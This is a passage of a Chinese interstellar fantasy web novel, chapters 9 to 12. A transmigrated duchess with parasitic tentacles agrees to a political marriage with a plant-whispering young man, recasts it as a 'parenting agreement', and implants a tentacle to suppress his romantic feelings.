席暮本以为宿初夏会因为她知晓了这些机密而生气,却没想到宿初夏只是轻笑一声,像是早有预料。
“没给你上茶你也不说句话。”宿初夏突然语气一变,比刚才要亲切许多,就像是真正的朋友一样,“九黎,让席暮公爵尝尝你的手艺。”
宿初夏声音刚刚落下,一名男性就端着茶走了过来。
那是一名异常秀美的男性,身材修长笔挺,五官更是精致。红色的眼尾微微上扬,那双修长的丹凤眼似乎能勾人心魄。
将茶杯放下,男子走到宿初夏身后,为宿初夏捏着肩膀。
“席暮,你还没见过吧。九黎,我的得力助手。”
啊哈,不说这个得力助手,席暮还以为这是宿初夏新收的后宫呢。毕竟世人皆知,陛下最爱美人。
“终于见面了公爵大人。”九黎嘴角噙着笑,声音更是好听。
不知为何,被九黎这么盯着,席暮有一种被看透的感觉。而且,席暮能感觉到那些触手有些蠢蠢欲动,那是一种捕食的渴望。
“九黎大人听说过我?”席暮按下那些奇怪的感觉,笑着反问,“还真是叫我不知道怎么回答了。”
“呵呵,公爵大人可是陛下的得力助手,陛下常在我面前夸你。这时间长了,我自然印象深刻。”
席暮后背一凉,不知为何竟起了一身鸡皮疙瘩,这个九黎实在奇怪。
“好了,要是想闲聊后面有的是时间。”宿初夏打断了两人的交谈,“席暮,今天最主要的还是你和楚家联姻的事。”
席暮松了口气,“陛下的意思是?”
“我希望你能答应。”宿初夏也不再拐弯抹角,态度更直接了。
“为什么?”
“楚家楚岁宁,我需要一个信得过的人看着他。”
“因为他的特殊能力?”如果楚岁宁身上有什么特殊,席暮只能想到那个能力,可能增强精神力的植物固然珍贵,也不值得宿初夏如此重视吧?
这下宿初夏是真的有些惊讶了,“连他的能力你都知道了?”
九黎更是投来了诧异的目光。
席暮动作一顿,察觉到了不对,“陛下说的是他可以听懂植物语言这个能力?”
宿初夏不动声色快速瞥了眼九黎,后者摇头,“没错。我只是诧异,你们也不过初次见面,他居然就愿意告诉你他的能力?”
“不过,不仅仅是可以听懂植物语言,据我了解,他的身上有着特殊的磁场,不仅植物,某些生物靠近他都会受到影响。”
“甚至,包括人。”九黎补充了一句,“而且有些影响是无法察觉的,带有延迟性。因此,尽管楚岁宁本人无任何伤害人的想法,也必须得到监管。”
“楚沛白不希望他
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像个囚徒一样被监视,于是提出了联姻想法,希望我能为他提供一个可靠人选。”
而宿初夏选择了席暮。
“所以我希望你能再考虑考虑,除了你,我不信任其他人。楚岁宁太容易被人利用。”
“当然,如果你仍然不愿意,我也不强求。”宿初夏拍了拍席暮的肩膀,“只是,网上那些谣言你务必处理干净。”
“是,陛下,我会再考虑的。”席暮在心里冷笑了声,这话里话外的意思都是让她同意这场联姻。
“嗯。”宿初夏满意点头,起身挽住九黎胳膊走了几步,然后忽然停步,“哦对了,你知道席暮最讨厌什么吗?”
“什么?”席暮愕然抬头。
“她啊,从来不喝茶,说是茶会破坏她的味觉。”宿初夏轻笑着丢下这句话,“要是不记得了,我改天给你一份她的忌口大全。”
“!!!”这一刻,席暮全身的汗毛都立了起来,她目光直勾勾盯着宿初夏的后背以及九黎的侧脸,“你!”
宿初夏抬手一挥,“放心好了,她跟我告过别了。只是,其余人可不清楚,公爵可要小心。”
这一瞬间,席暮第一个念头是,立刻离开。丢下公爵身份,去往别的星球。管她什么席暮,什么楚家,任何阴谋都影响不到她。
“哦,公爵回去可以看看自己桌子暗格里她给你留的信。”像是听见了席暮的心声,宿初夏轻拍了下九黎的胳膊,转过身,那双蔚蓝的眸中没有一丝温度,面上却是衣一副才想起来的样子。
“瞧我这记性,她啊念旧情,怕来的人不负责,不能为我坟分忧,所以留了些后手。你暂时没办法离开首都。”
“好了,这下是真的没有什么了。我就先走了,公爵自便。”
宿初夏走了,但她的话却让席暮难以平静。
阴着一张脸,席暮快速离开了花园,她要回去看看,原主究竟做了什么手段。
“陛下,何必这么吓人。万一真把人吓坏了,不管不顾跑了怎么办?”
离开了席暮视线,宿初夏便恢复了国王的威严,她抽回手,表情平静。
“看出来了吗?席暮她身体里的究竟是谁?”
九黎摇头,神情凝重,“我看不清,我只能感觉到她年纪不大,其余的全部被黑雾笼罩。就像是被什么在严密保护着。不过……”
九黎欲言又止,一时不知道该怎么描述。
“不过什么?”
“不过,她给我的感觉很,好?有些亲近,像是个大好人。”
“哦?”宿初夏还是头一次听到这种形容,“这下我更感兴趣了。她和蔺宵的关系绝不简单,从这方面去查。”
“是。”
“另外,席暮的下落也必须找到。我倒要看看,我那个一心向上的好下属是被谁蛊惑,突然就变成了‘邪教徒’。”
“然后,顺着那场召唤仪式去查,我的帝国绝不容许那种垃圾存在。”
“是!”
而在多人的见证下席暮离开的急切,飞行器速度甚至飙到了最大。
9. 第 9 章
可真当飞行器远离了王宫,席暮的表情却陡然一松。她慵懒靠着椅背,为自己鼓了鼓掌。
“哈,我果然聪明。”席暮在飞行器的储藏室内翻出了块甜品,看日期很新鲜便直接拆开权当给自己的奖励。
席暮怎么可能会不去检查原主的书房,更何况,那些触手也已经将整个公爵府都探索了一遍。
至于宿初夏所说的后手,席暮早已发现。但那东西对席暮有用吗?席暮笑着吃了口甜品,酸酸甜甜的味道让她心情更好了。
精神力作为分辨一个人最有效的手段,能想到利用精神力做出限制的确是最直接的办法,只是,怕是谁也想不到,席暮的确继承了原主的精神力,但与此同时,席暮还保留着下线前的精神空间。
只要席暮想,席暮随时可以变为另一个人。
“但是为什么要离开呢?”席暮耸了耸肩,有公爵这个身份想要做些什么可简单不少,至于宿初夏的威胁,也不过就是打工而已。
“经过这一次,宿初夏应该能初步信任我。不过,那个九黎……”这个九黎的出现应该是席暮今天最大的收获,“异能应该有关探查,不过突破不了我的精神屏障,倒也不用太担心。”
“我今天去找了一趟蔺宵,之前也透露过我和蔺宵关系不简单。想要查探我的来历,必然要从蔺宵开始。”席暮的目光落在了飞行器外金光璀璨的湖面上,伸手调慢了速度,“要想个办法同步一下他们调查到的内容啊。”
就在此时,早已蠢蠢欲动的触手们总算有了透气的机会,没一会儿,宽敞的飞行器内便没有了空间。
黑色的触手刚开始还兴奋地扭动着身躯,后面动弹困难,便直接绞缠在一起,互相厮杀起来争夺空间。
席暮托着下巴看着这场无声的争斗,饶有兴致。这些触手的智力并不低,也不完全听她的指挥。所以与其说这些触手是她的一部分,不如说是寄生在她身上。
“别打了。”看了一会,席暮一巴掌抽在了最粗的那根触手上,“会说话吗?”
那根触手摇了摇,然后弯曲着比了个问号。
“哟,还能比划。”席暮兴趣渐浓,她指着那几根触手,“那你们可以拼字啊,说话易如反掌。来、来,试试。”
“变细点,诶,对,比个OK?”席暮指导着触手行动,那些触手动作笨拙极了,但居然真的成功比出了席暮想要的单词。
席暮猛地鼓起掌来,满脸笑意,语气更是充满赞赏,“哇,这么厉害啊!真棒!我们再试试别的好不好?”
当初为了养崽,席暮可是理论知识学的足足的,后面实操更是拉满。甭管这些触手吃不吃这招,但席暮喜欢这么做。
但这些触手可能还真有些吃着招,在席暮的声声表扬下不断扭动着身体比起字母来。
“好!真厉害啊,那我们试试汉字好不好?比个‘是’好不好?”
或许是汉字构造确实太难,触手扭动着扭动着成功把自己打成了结。
席暮一愣,随即没忍住放声大笑起来,身体更是笑得前俯后仰,没有一点仪态可言。
触手们肉眼可见愣住,然后嗖的一声全部缩回了席暮体内。
“哈哈哈哈……”席暮抬手拭去笑出来的泪水,眼睛还弯着,嘴角的弧度却早已消失。“啧,真没意思。”
回到家中,席暮便再度恢复了沉默的表情,但向慧可以从席暮的肢体细节上看出来公爵似乎有些焦虑。
而且公爵一回来就一头扎进了书房,两个小时都没有动静。晚饭时间早已过去,却依然没等到席暮出来用餐的身影。
向慧犹豫了下,还是敲响了书房的门,“公爵大人,请问您还用晚饭吗?”
“不用了,今晚任何人、任何事都不要来打扰我。”很快,席暮的回答就传了出来。
向慧得到回应,松了一口气,立刻将席暮的话吩咐了下去。没一会,公爵府内就寂静一片。
然而此时的席暮真的在书房内吗?
并没有。稍作伪装后,席暮换了身舒适衣服就离开了公爵府。
她打算去看看楚家投资建造的博物馆,管内陈列着星际内现有的所有植物种类、一部分古代植物的标本等等大量植物资料,这其中自然包括让楚家闻名的‘月盈草’。
这个博物馆并不需要购买门票,但你需要购买一株植物,带走或者交给博物馆养都可以。
席暮在购买区转了一圈,最终买了一盆酢浆草。浅粉色的小花开得正盛,看着就叫人喜欢。
席暮拒绝了工作人员暂存的服务,就这么捧着盆酢浆草走进了博物馆。
一进去便是琳琅满目的图片介绍,席暮也不急,一点点慢慢逛了起来。
“您好,请问需要讲解吗?”拿着黄色旗子的工作人员面带微笑地走近。
“不用了,我自己看就可以。”
“好的,旁边都有介绍,希望你能喜欢上这些植物。”
席暮笑着跟工作人员告别,循着指示牌走到了月盈草处。
月盈草整体呈蓝白色,茎叶微微透明,因而叶片上的脉络就格外明显。那些脉络线条弯曲,交织在一起,状似一轮又一轮弯月。
月盈草被保护在护罩内,但护罩上有小孔,因此月盈草那清香也能被人们识别出来。
席暮只是轻嗅了几口那清香,居然就有一种情绪被抚平的感觉,很舒服。
“果然神奇。”席暮不由感叹,百年前,席暮可从未听闻过这种植物存在。这植物要是放在当年,那必然会引起一阵腥风血雨。
席暮调动精神力戳了戳精神空间的触手,想看看这些触手对月盈草是否有反应。
触手们懒洋洋的,熟练比划了个??。
“哦?居然和异种无关?”最初得知月盈草可以增强精神力时,席暮第一反应就是利用异种培育出来的。
毕竟异种虽然看着可怕,但很有用啊。
“那关键真就是楚家人的异能了?”席暮是真的想不明白楚岁宁那个异能和培育植物有什么关系。
陪植物谈心,聊开心了我就长出你想要的功能?
席暮被自己逗笑了。
“或许再和楚岁宁聊一聊?”席暮现在就是想弄明白,‘席暮’必须和楚岁宁联姻的原因。
宿初夏说的监视,这个算一个理由但肯定没有这么简单。
不是原席暮有问题就是楚岁宁有问题。
希望是楚岁宁有问题,席暮想。她被莫名其妙拉进游戏就已经够倒霉了,总不能一件好事都碰不上吧。
“女士!女士!”席暮正沉思着呢,耳畔突然传来了工作人员急切的呼唤声,“女士您还好吗?”<
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席暮疑惑抬头,“我很好啊,你们怎么了?”
“女士?女士?”席暮感觉到身体被触碰,那力道极轻,仿佛生怕伤到了席暮一样。
“快!快叫急救!”工作人员的声音已经开始颤抖,慢慢都是恐慌。
这位女士明明一开始很正常,而且只是在正常观赏植物。却不知为何突然僵直了身体,双目无神,像是突然被抽离了所有神智。
无论工作人员怎么呼喊,这位女士都没有一点反应,把人吓坏了。
席暮也终于发现了自己的异常,她对外界的感知一切正常,但是她的反应系统却像是失灵了。简单来说,她失去了对身体的控制权……
是因为她和原主的身体没有彻底融合吗?所以才会出现断线现象?
席暮感觉到自己被抗了起来,然后放在了床上,极速被送往医院。
如果真是她猜测的那样,那送医院没用啊,得去请跳大神的。哦,星际世界了,是不是没有这种封建迷信的东西了。
试试电击?席暮思考着治疗方案,只可惜没有人能听见她的内心的碎碎念,
席暮被送进了急救仓,绿色的治疗液淹没了席暮的身体。
“唔,新奇的体验,居然没有窒息的感受。挺舒服的,这身体以前小毛病应该不少。”
就是好像对她现在这个情况没啥用。
病房内的脚步声换了一茬又一茬,因为有急救仓的隔离,席暮听不见他们在说什么。
“呼……”席暮眼睫微颤,随即眼皮一动,眼神就恢复了灵动。
席暮抬手敲了敲急救仓。
清脆的敲击声顿时让整个房间一片寂静。
“我天呐!!!”
“快快快!”
一阵兵荒马乱之后,席暮从急救仓内坐直了身体。
数十位白大褂站在席暮面前,有的眼睛那叫一个亮。
“通知了我的管家吗?”席暮没急着起身,指了指放在急救仓外的光脑。
“席暮公爵,我们还没来得及通知。”
在席暮感知中的漫长时光,也不过一个小时而已。席暮被送到医院来也不过十几分钟,医院方面甚至刚才才知晓席暮的身份。
很好,席暮满意点头,不用担心偷溜出去被发现了。
“你们检测出来了什么吗?”
数十位医生你看我我看你,都有些尴尬,“很遗憾公爵大人,我们尚未检测出您这是什么病症。但如果您愿意配合,我们”
席暮抬手制止了医生的话,“不用了,老毛病。我要出院。”
“哦、哦。”
席暮迅速结了医院费,在医生们依依不舍的目光中离开了。
“好了,现在最紧要的事出现了。”席暮叹了口气,为自己的坏运气无语,“身体和灵魂没有完全融合,需要补什么呢?”
现在最正确的决定应该是寻求医生帮助,制定正确的治疗方案,然后按照医嘱吃药检查。但席暮并不想这么做,因为没有必要。
什么治疗方案、什么药席暮都不需要,只要她的精神力足够强,掌控这具身体不过是轻而易举。那么如何增强精神力呢?席暮勾唇一笑,这不是已经有了现成的答案吗。
一环接一环,环环相扣,席暮很难不去想这是不是用来约束她的手段。
10. 第 10 章
这场和楚岁宁的联姻,既是对楚岁宁的监视,也是对席暮的一种束缚。倘若这一切真的都在宿初夏的算计之中的话,那席暮不得不为宿初夏鼓掌,好计谋好算计。
不过就算这是计谋那有怎么样呢?席暮并不在乎。以席暮目前的精神力,最多半个月就能彻底掌握这具身体。换句话说,席暮其实并不需要月盈草。但席暮实在太好奇了,好奇是什么让宿初夏宁愿暴露也要促成这场联姻,好奇这些人之后的打算是什么。一如当年席暮刚接触这款游戏时的心态。
而且,席暮也很想看看,当他们发现这场所谓的联姻,最后演变成了‘幼崽抚养指南’,面上的表情不知道会是什么样的。
于是席暮说做就做,飞快草拟起了所谓的‘抚养协议’。协议核心内容,楚岁宁不得对席暮产生什么非分之想,他们之间的关系明面是婚姻,实际上只能是‘母子’。席暮从过去的经历中吸取了不少教训,这一次,席暮希望自己能一雪前耻,养出最乖巧听话懂事的孩子。
至于楚岁宁已经成年这件事,虽然有些可惜不是九、十岁这样的黄金年龄,但也不是不能养,说不定还更好养。至少有脑子,能思考会听话。
但感情这种事情,任何协议都无法约束,她得像个办法从源头杜绝这一切,席暮想。
敲击着桌子,席暮将主意打到了之前浏览过的游戏论坛内容中。突然,席暮动作一顿,一条重要信息涌入了脑中。而随着席暮念头微动,她身后瞬间弹出数条触手来。席暮抬手从身后掐住一根触手向前一拉,“我记得‘异种’是可以汲取情感的,那你们能分辨出不同的情感,有选择地攫取吗?”
触手摆动着身躯,传递来了可以的信息。
伸手摸了摸触手以示表扬,席暮唇角扬起,这样的话一切就简单了。只要楚岁宁签下协议,那她就可以利用触手监测楚岁宁的情感,只要楚岁宁一产生什么奇怪情感,就可以第一时间让这些情感消失。到时候,就又是一个乖宝宝了。
草拟好协议后,席暮将其保存好并用精神力设置了锁,席暮这才离开了书房回到卧室休息去了。而一直在等待着的向慧见状长舒了一口气,也回了房间。
有了席暮这边的助力,楚家的努力,再加上昨天和楚岁宁一同出行游玩的证据,网上的谣言终于渐渐平息,即使偶有讨论,也掀不起什么浪花了。
作为公爵,席暮其实并无多少实权,即使有着宿初夏的全力支持,席暮还是功绩尚缺。于是宿初夏和席暮本来的打算是,将席暮安排参军,有了一定功绩之后再回来。本来好不容易敲定了一个少校的职位,但因为这次逃婚风波,被人抓住机会抢走了。
所以目前席暮还属于闲散人员,除了每日早上进入王宫和宿初夏商讨之外,席暮基本没有什么重要事务处理。所以,离开王宫之后,席暮就决定去找楚岁宁,商量协议的事。
楚家人对于席暮的到来没有一点准备,更何况此时楚家家主楚沛白并不在家中,因此招待席暮的是楚沛白的儿子楚栾,至于楚沛白的伴侣,据说是已经过世,自他离世的这五年来楚沛白也没有再娶的打算,而楚沛白又没有女儿,所以楚栾已经是大家公认的楚家继承人。
“席暮公爵。”楚栾态度恭敬地请席暮进门坐下,他则坐在了离席暮最远的那个位置,“不知席暮公爵今日拜访是有什么重要的事吗?”
席暮记性一向很好,所以一眼就认出了楚栾,对她有些强烈不满的那位。今天好像更讨厌她了,但是比之前会掩饰。念头如流水一般划过席暮的脑子,席暮一点情绪没有表现出来,“我今天来是来找楚岁宁的,请问他在家吗?”
楚栾强忍住自己愤怒的情绪,只是笑容不见,“真是不巧,小宁今日随母亲一同离开了,现在不在。”
嗯?席暮看到了楚栾眼中没藏好的高兴,判断楚栾没有说谎。只是,这么不巧吗?
既然不在,席暮也就没有留在这的打算,于是干脆站起身就要离开。“既然如此,那我就先告辞了。之后楚岁宁回来,还望你告知他我来找他这件事。”
楚栾快速撇了下嘴,为席暮如此轻描淡写的紫檀不满,什么啊,明明就是她对不起小宁,现在居然这么平静!这么想着,楚栾一个没忍住,还是开口暗怼了一句,“我倒是觉得不必了,反正小宁和公爵之后都不会有关系了。”
这意思是?想到同时不在的楚沛白和楚岁宁,席暮眉心一跳,这是去找宿初夏请求更换联姻对象了?这么着急?
没有和楚栾多说的想法,席暮直接快步离开了楚家。坐上飞行器,席暮本想去王宫看看热闹,但转念一想,或许可以趁现在这个机会看看宿初夏的打算?于是,席暮装作什么都没发生的样子,回到了家中。
按照以前的习惯,席暮开启了家中的训练室,先是体力训练然后是精神力训练。等到训练结束已经是两个小时之后的事情了。
当席暮走出训练室,迎面看到的就是满脸焦急在门口徘徊的向慧。因为席暮设置的是免打扰模式,所以向慧无论如何都没办法联系上席暮,此时见席暮终于走出,向慧激动不已,“大人,陛下要见您。”
一手用毛巾擦着汗,一手捞起一旁的外套。席暮早有预料,因此只是点点头后,就坐上了向慧准备好的飞行器。
不出所料,等待席暮的不仅有宿初夏还有楚沛白,以及打哈欠的楚岁宁。
席暮多看了楚岁宁几眼,又在打哈欠?好像见到的这几次他一直都是这样困顿的状态,这么能睡?
“来了。”宿初夏慵懒倚靠在靠背上,朝席暮挥了挥手,“应该知道我为什么找你吧?”
“楚家主,能再让我和平安再聊一聊吗?”席暮选择了平安这个称呼,稍微表示了一下亲近。
楚沛白先是看了眼楚岁宁,点头的动作有些迟疑。
宿初夏轻笑一声,随后让人领着席暮和楚岁宁去了空房间,“楚卿,让孩子们聊他们的,我们接着谈?”
“是,陛下。”楚沛白弯了弯腰,收回了落在楚岁宁身上的目光。
“公爵是改变主意了吗?”楚岁宁先开了口,不知为何他今天在席暮身上隐隐感到了些亲近,所以比之前更愿意开口。
“楚家主今天是想请求陛下为你选择另外的合适联姻对象吗?”没有立刻回答楚岁宁,席暮反问了句。
“是。”楚岁宁一如之前,直接又坦率,“母亲希望能够尽快联姻。”
“为什么?”席暮拉出椅子,示意楚岁宁坐下,然后她顺势坐在了楚岁宁对面。
“母亲想要尽快离开首都星。原因我不能说。”楚岁宁摊开手,神情坦然。
席暮若有所思点了点头,随后回答了楚岁
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宁的第一个问题,“是,我改变了主意。联姻可以继续,不过需要你履行我拟订的协议。”
点开光脑,将自己写的协议投影到了楚岁宁面前,席暮做了个请的姿势。
协议很短,楚岁宁只翻了一下就到底,而且里面的内容也很好理解。
“你想做我‘妈妈’?”楚岁宁不理解但大为震撼,席暮公爵居然有这种爱好吗?
席暮一哽,虽然确实是这个意思,但这么直白说出来还是很奇怪。
“意思没错。”握拳抵在唇边,席暮轻咳了两声,“但我只是比较享受那种,‘抚养’人的感觉。”
楚岁宁一脸恍然,世人爱好千奇百怪,那席暮公爵有这样的爱好也正常。
“那协议里的不能对您产生‘爱情’这一条,”指着其中标红的一条,楚岁宁有些惊讶,“公爵能识别吗?!”
声音既惊讶又惊喜,但席暮无从分辨这样的情绪从何而来,“不,但我可以从头断绝这种可能产生。”
楚岁宁耸了耸鼻子,从席暮身上嗅到了笃定的味道,这让他有些好奇,“怎么做到?”
“前提是,你愿意和我签下这个协议。”席暮讲协议划到最下面,让楚岁宁看最后签字的地方。
反正都是要联姻,联姻和抚养也没什么区别,楚岁宁想,对于他而言,一切都无所谓。
于是楚岁宁干脆点头,调动精神力在那虚拟协议上留下了自己的精神烙印,形同签字盖章。
“好了。公爵现在可以告诉我要怎么做到了吗?”
收起惊讶的情绪,席暮在楚岁宁身上打量了一圈,然后目光定在了他的后颈处。
“我需要为你做一个标记,可能会有点痛。”席暮自然不可能让触手显露在楚岁宁面前,所以席暮早有打算。
截出一小段触手将其种在楚岁宁体内,只要这一小截触手定时从主体上汲取能量,就能一直保持活性,也就能一直发挥作用。
昨晚席暮就已经做了实验,触手截断后最小可化为手指长短,一毫米粗细的黑线,并不显眼。
而种在楚岁宁身上的地方,最好离大脑很近,不能显眼。楚岁宁的头发较长,可以很好遮住后颈,所以席暮一眼就看中了那个地方。
“可以露出后颈吗?”一边说着,一边却已经动手拨开了楚岁宁后颈的头发。
楚岁宁低下脑袋,让后颈更好露出,在微微刺痛之后,楚岁宁察觉到一股熟悉的气息进入了他的体内。
于是楚岁宁恍然,原来是利用这个东西来勘探他的情感,然后吞噬多余情感吗?
黑线钻进楚岁宁的后颈后,抽搐了一下,居然断成了两半,几经变化后,最终形成了一个像是在开心的表情,^^。
“好了。”嘴角抽动几下后,席暮收回手指,压下心底涌上的无奈。
摸了摸后颈,楚岁宁眼睛弯起,乍一看和触手形成的表情还有些像。
“我们之间的协议已经达成。”触手已经种下,席暮能感觉到它良好的生命活性,不由满意点头。
“……好。”楚岁宁挠了挠脸侧,无法告诉公爵这个‘异种’对他不起作用啊。算了,还是他自己来吧。
等回去了查查什么是爱情,如果他真的产生了这个感情,他就立刻抽离。这样,也算是完成了协议。
。
11. 第 11 章
等回去查查什么是爱情,如果他真的产生了这个感情,他就立刻抽离。这样,也算是完成了协议。楚岁宁点了点头,肯定了自己的想法。席暮自然以为他是同意了她说的话。
“那我们走吧,告诉陛下和楚家主这个好消息。”不过对于楚沛白来说可能不是什么好消息?席暮笑了笑,将这个想法抛到了脑后。
果不其然,听完席暮和楚岁宁的决定,楚沛白的表情可算不上很高兴。只是她并未提出任何异议,等到宿初夏同意了这场联姻,她微不可查叹了口气,像是彻底接受了这个结果。
“席暮,这一次可不要让我失望啊。”宿初夏意味深长睨视着席暮,席暮知道,这是在警告她,逃婚的事决不允许发生第二次。
办理结婚手续的时间被很草率定在了三天之后,为了表示对这场联姻的重视,宿初夏表示这场婚礼将有‘礼制院’负责筹办,一般礼制院是用来筹划大型活动的,此命令一下,全帝国顿时明白了陛下的态度,之前的谣言再不复存在,取而代之的是清一色的祝福。
席暮浏览着星网上的论坛,居然真的一个有关帖子都没看见,不由嘟囔,“看来都挺聪明的。”
这三天内,席暮忙的晕头转向,尽管大部分事务都是有礼制院负责,但其中很多琐碎细节席暮不得不参与,因此,席暮数次问自己,这个好奇心是非有不可吗?
但事情都已经到这一步了,席暮也只能继续走下去。
而楚岁宁,那天回到楚家之后,就购买了大量有关亲情关系培养的书籍,开始了补课环节。尽管楚岁宁活了很多年,也称呼楚沛白母亲,但楚岁宁对方面的知识点是一片空白。在人类社会生存的这些年,他大部分时间都在睡觉,身边的人换了一茬又一茬,楚岁宁从不在他们身上投入过多情绪。
至于建立亲密关系,楚岁宁没有这个意识,也没有人对他提出来过。
“小宁,你在看什么?”楚栾偷偷溜到了楚岁宁身边,想要看看这个让弟弟苦学两天的书籍究竟有什么魔力,从肩膀处猛地伸出脑袋,看到的却是‘如何更好建立亲子关系’?
“啊?”瞪大了眼睛,楚栾惊呼出声,他的想法瞬间延伸到了很远地方,“小宁,你为什么要看这个?不会是为了以后生孩子做准备吧?”
楚岁宁将书合起,远离了楚栾,“哥哥,我觉得你需要回学校重修。”
“为什么?!”
“如何不让自己胡思乱想,这门课应该很适合哥哥。”明天就要去办理手续了,楚岁宁决定按照书中所说,在被家长领养之前,要打扮干净得体,这样会让家长更加满意。所以,楚岁宁准备去给自己准备一套合适的衣物。
“!!!”楚栾恶狠狠瞪了楚岁宁一眼,气鼓鼓走了。
并不是生气,更多的是难过吗?楚岁宁歪着脑袋看楚栾离去的背影,还是困惑,他明明知道楚栾现在的心情,可为什么他不理解,被他嘲讽了不应该生气吗?为什么会难过?
但这样的困惑很快就如同烟雾一般散去,楚岁宁回到了房间,开始挑选衣物。
约定过办理手续这一天,由席暮来接楚岁宁。所以楚岁宁这天醒的很早,这让楚岁宁的心情不是很好。但毕竟是家长来领养的重要日子,所以楚岁宁拍了怕脸颊,让自己看上去更有血色一些。对着镜子整理了衣着,楚岁宁满意点头。
席暮提前了半小时抵达楚家,却只看到了楚岁宁一个人走了出来,甚至没有一个人送一送,于是利落走出飞行器,“准备好了?”
楚岁宁站的笔直,看着席暮点头。
确认之后,席暮就要打开飞行器的门让楚岁宁上去,就在她转身之时,余光却瞥见楚岁宁低头检查者自己的衣服,于是席暮停住动作转身询问,“怎么了?”
没有从席暮身上闻到满意的情绪,楚岁宁不由怀疑他今天的打扮是否不够得体,“我今天穿的不够得体吗?”
席暮一怔,下意识将楚岁宁整体打量了一番,“很好看。”
“那你满意吗?”楚岁宁接着追问了一句。
尽管有些疑惑,但秉承着鼓励教育方针的席暮果断点头,“很满意。”
那就好。席暮身上传来的情绪很诚恳,楚岁宁便满意了,于是直接坐上了飞行器,等待席暮。
直到坐好,飞行器开始行驶了,席暮还是有些迷茫。“你刚才问我满不满意是什么意思?”
“嗯,按照协议今天是你领养我的第一天,所以我需要打扮得干净得体好让你满意,不是吗?”楚岁宁坦荡展示了自己的想法,“但你一开始看到我没有什么反应,我以为你不满意我今天的穿搭,所以问了你一句。”
席暮面色古怪看了楚岁宁一眼,她本来以为她把成年人当孩子养就已经够离谱的了,却没想到被养对象比她还入戏,甚至一点心里包袱都没有。但不得不说,楚岁宁这样的想法让席暮格外愉悦。
于是,席暮又狠狠表扬了一番楚岁宁今日穿搭,楚岁宁扬起笑容,颊边的酒窝若隐若现。
办理完手续,席暮送楚岁宁回楚家拿行李,今天之后楚岁宁就要住进席暮的公爵府。行李楚沛白早已收拾好,没耽误多少时间,两人就回到了公爵府。
今日的公爵府也是焕然一新,在向慧的装扮下,公爵府喜庆极了,总算是有了一点结婚的气氛。
“公爵,爵夫。”作为从小照顾席暮到长大的老人,向慧看到席暮带着伴侣走进来的那一刻不禁有些感伤,借着低头的功夫,向慧连忙收拾好情绪,兴高采烈张罗起来。
“辛苦了。”席暮点了点头,然后制止了向慧的动作,“嗯,之后我想和平安过一段二人时间,你也趁这个机会休个假吧。”
向慧先是一愣,随即脸上乐开了花,“是,公爵大人。”
随后席暮给所有人都放了假,不一会,热闹的公爵府就恢复了冷清。
“我住二楼那个房间,左边是书房,右边是
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空房间。你住那里可以吗?”席暮指着二楼的一间房询问道。
“我可以看看房间吗?”这次楚岁宁没有一口应下,反而一脸严肃,似乎挑选房间是什么很重要的事。
席暮自然没有不答应的理由,领着楚岁宁上楼,打开了房间门。
房间内装饰典雅却不繁复,一眼看过去赏心悦目,中央一张大床格外引人注目。
“楚家主特意叮嘱过我,她说你喜欢大床,所以我给你换了张床。”加急订购,甚至购买链接还是楚沛白发给席暮的。
楚岁宁一双眼睛亮晶晶的,他上前伸手按了按床垫,眼睛更亮了,“我很喜欢!谢谢公爵。”
本来还想让楚岁宁看看其他家具,除了那张床其他的楚岁宁是一点不关注。
“公爵安排的很周到,我没有什么不满意的。”
既然居住环境没有问题,那么下一项。
“大学毕业了吗?”席暮从光脑中调出了一个列表,开始了解孩子基本信息。
想到自己那张毕业证书,楚岁宁立刻点头,有毕业证就算毕业,至于他上没上过学?不重要不重要。
给第一项打了个勾,席暮一项一项开始盘问,“有什么兴趣爱好吗?喜欢和讨厌的东西、事情以及食物?有什么个人特点?……”
楚岁宁一开始还坐的很直,但渐渐的,他开始往桌子上趴。
看了他一眼,席暮嘴上没停,叩了下桌面,然后手掌向上一勾,让楚岁宁坐好了。
楚岁宁抿着唇,双目发直。他看的书里没有这一项啊,为什么会有这么多问题?啊,可不可以自己去查呀?
念完列表,席暮将列表转给了楚岁宁,“填吧。”
“可不可以明天再填?”楚岁宁完全不想打开光脑,双手合十,恳求道。
“不可以。”席暮果断拒绝,然后柔和了神色,“要养成今日事今日毕的好习惯。不多,很快就能填完的。”
苦着脸打开了光脑,楚岁宁被那长长一串惊到,哪里不多了!
看了眼席暮,见她一脸认真,身上的味道更是笃定,楚岁宁知道这肯定是逃不过去了,认命填了起来。
但也不止楚岁宁一个人填,席暮也给自己列了张表。
“我们要先互相了解,即使是培养孩子也需要互相尊重。”席暮语重心长开始教导楚岁宁,“我只有更了解你才能知道后续要如何跟你相处。”
“公爵说得对。”楚岁宁认可这个理由,于是态度认真了很多。
半个小时后,两人交换了信息。
“不喜欢人多的地方吗?”圈出那些值得注意的点,席暮有种自己在考前划重点的感觉,“最喜欢睡觉?”
“然后其他都是无……”
楚岁宁连连点头。
这么好养活吗?席暮在心里嘟囔着,没有喜欢吃的,没有讨厌吃的,没有喜欢的东西,没有讨厌的东西,唯一一个重点就是喜欢睡觉……
12. 第 12 章
“就这些吗?”就算把整个列表翻到底,席暮也没发现楚岁宁有什么特别的爱好,有些难以置信。
低着头的楚岁宁只摇了摇头,眼睛却一直在看席暮填写的内容。
“公爵大人,你的喜好我需要两天去记忆可以吗?”人居然会有这么多喜好和讨厌的东西,楚岁宁叹为观止,然后便是发愁。
将光脑丢到一边,席暮笑了笑,“不着急,后面相处中自然就会记住了。”
“好。”
随着夜幕降临,两人便就此停住回到各自房间休息去了。
而当席暮沉睡后,那些触手却自顾自展现出了身影,然后悄然打开了房门向着楚岁宁的房间延伸。
随着席暮提供的能量越发充足,触手们早已开始了对屋内智能管家的控制,虽然尚未完全成功,但打开房间还是绰绰有余的。
触手们顺着墙壁来到了屋顶,然后一路向下停在了楚岁宁面前。
【他身上有股好熟悉的味道,好喜欢。】
【喜欢!喜欢!】
触手们有着自己独特的交流方式,但和席暮所想的不同,多条触手中只有一条有着一定的思维能力,其余的目前尚且懵懂。
但随着席暮精神力的增强,它们也会获得更多的智慧。
但目前为止,促使触手们行动的是直觉。
于是触手们毫不犹豫卷起楚岁宁,将其托在空中带回了席暮的房间。
【这个人身上,好东西!好!要,多接触。】
楚岁宁身上的特殊吸引了它们,触手们觉得更多的接触就有更多好处。但席暮却拒绝更多接触,触手们只能自己行动。
为了防止席暮中途醒来,触手们释放出了些安眠气体,然后一把将楚岁宁塞进了席暮怀里,甚至为了接触更多,触手更是将两人紧紧缠住。
【快长,快长。】摇晃着的触手发出了急切的催促,然后怀着美好的期待陷入了沉睡。
